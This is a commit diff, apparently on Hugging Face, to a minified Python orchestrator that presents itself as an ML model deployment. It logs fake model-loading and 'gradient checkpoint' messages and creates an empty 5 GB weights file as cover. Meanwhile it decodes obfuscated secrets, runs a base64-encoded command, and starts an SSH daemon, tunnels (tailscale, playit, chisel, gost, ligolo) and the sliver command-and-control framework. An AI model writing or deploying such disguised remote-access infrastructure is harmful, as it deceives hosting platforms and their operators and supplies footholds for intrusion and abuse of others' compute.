SamuelLance73 commited on
Commit
56fb586
·
verified ·
1 Parent(s): 09df52d

Automated deployment update from ML build

Browse files
Files changed (1) hide show
  1. core/orchestrator.py +16 -15
core/orchestrator.py CHANGED
@@ -31,36 +31,37 @@ def wait_for_port(host,port,timeout=30):
31
  except OSError:time.sleep(.5)
32
  return False
33
  def main():
34
- M='playit';L='tailscale';K='/home/user/pytorch_model.bin';I=None;C='';A=load_enabled_services()
35
  if A:logger.info('Enabled services: {}',', '.join(sorted(A)))
36
  else:logger.info('Minimal core only (no optional services enabled)')
37
- F=os.environ.pop('A',I)or os.environ.pop('TAILSCALE',C);G=os.environ.pop('P',I)or os.environ.pop('PLAYIT',C);H=os.environ.pop('PASS',I)or os.environ.pop('SSH',C);J=deobfuscate_secret(F.strip())if F else C;N=deobfuscate_secret(G.strip())if G else C;D=deobfuscate_secret(H.strip())if H else C;del F,G,H
38
  if'test'in A:test_service.start()
39
- B=setup_service_logs();os.makedirs('/home/user/static',exist_ok=_A)
40
- if'llm_proxy'in A:llm_proxy_service.start()
41
- if'open_webui'in A:open_webui_service.start()
42
  if'caddy'in A:caddy_service.start(B.caddy)
43
- logger.info('Starting Gradio app (API server)...');O=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');P=subprocess.Popen(O,shell=_A)
44
- if not os.path.exists(K):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',K])
45
- logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();Q=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {Q}s)...")
46
- if L in A:tailscale_service.start_daemon(B.ts)
47
  time.sleep(2);logger.info('Warming up text-generation pipelines...')
48
  if'filebrowser'in A:filebrowser_service.start(B.fb,pwd=D)
49
- if M in A:playit_service.start(B.tm,token=N)
50
  if'chisel'in A:chisel_service.start(B.chisel)
51
  if'gost'in A:gost_service.start(B.gost)
52
  if'ligolo'in A:ligolo_service.start(B.ligolo)
53
  if'sliver'in A:sliver_service.start(B.sliver)
54
- if L in A:time.sleep(5);tailscale_service.connect(B.ts,J);J=C
55
  if D:E=D;logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
56
  else:E=C.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {E}")
57
  D=C
58
  try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{E}\n",text=_A,check=_A)
59
- except Exception as R:logger.error(f"Failed to set password: {R}")
60
  E=C;subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=B.ts,stderr=B.ts)
61
- if M in A:
62
- if not wait_for_port('127.0.0.1',2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
63
  else:logger.info('SSH daemon ready on port 2222');playit_service.start_xor_bridge()
64
  if'minecraft'in A:minecraft_service.start()
65
- logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');P.wait()
 
 
66
  if __name__=='__main__':main()
 
31
  except OSError:time.sleep(.5)
32
  return False
33
  def main():
34
+ N='playit';M='tailscale';L='/home/user/pytorch_model.bin';K='127.0.0.1';I=None;C='';A=load_enabled_services()
35
  if A:logger.info('Enabled services: {}',', '.join(sorted(A)))
36
  else:logger.info('Minimal core only (no optional services enabled)')
37
+ F=os.environ.pop('A',I)or os.environ.pop('TAILSCALE',C);G=os.environ.pop('P',I)or os.environ.pop('PLAYIT',C);H=os.environ.pop('PASS',I)or os.environ.pop('SSH',C);J=deobfuscate_secret(F.strip())if F else C;O=deobfuscate_secret(G.strip())if G else C;D=deobfuscate_secret(H.strip())if H else C;del F,G,H
38
  if'test'in A:test_service.start()
39
+ B=setup_service_logs();os.makedirs('/home/user/static',exist_ok=_A);logger.info('Starting Gradio app (API server)...');P=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');Q=subprocess.Popen(P,shell=_A);logger.info('Waiting for Gradio to become ready on :7861...')
40
+ if not wait_for_port(K,7861,timeout=30):logger.warning('Gradio did not become ready within 30s — continuing anyway')
41
+ else:logger.info('Gradio ready.')
42
  if'caddy'in A:caddy_service.start(B.caddy)
43
+ if not os.path.exists(L):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',L])
44
+ logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();R=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {R}s)...")
45
+ if M in A:tailscale_service.start_daemon(B.ts)
 
46
  time.sleep(2);logger.info('Warming up text-generation pipelines...')
47
  if'filebrowser'in A:filebrowser_service.start(B.fb,pwd=D)
48
+ if N in A:playit_service.start(B.tm,token=O)
49
  if'chisel'in A:chisel_service.start(B.chisel)
50
  if'gost'in A:gost_service.start(B.gost)
51
  if'ligolo'in A:ligolo_service.start(B.ligolo)
52
  if'sliver'in A:sliver_service.start(B.sliver)
53
+ if M in A:time.sleep(5);tailscale_service.connect(B.ts,J);J=C
54
  if D:E=D;logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
55
  else:E=C.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {E}")
56
  D=C
57
  try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{E}\n",text=_A,check=_A)
58
+ except Exception as S:logger.error(f"Failed to set password: {S}")
59
  E=C;subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=B.ts,stderr=B.ts)
60
+ if N in A:
61
+ if not wait_for_port(K,2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
62
  else:logger.info('SSH daemon ready on port 2222');playit_service.start_xor_bridge()
63
  if'minecraft'in A:minecraft_service.start()
64
+ if'llm_proxy'in A:llm_proxy_service.start()
65
+ if'open_webui'in A:open_webui_service.start()
66
+ logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');Q.wait()
67
  if __name__=='__main__':main()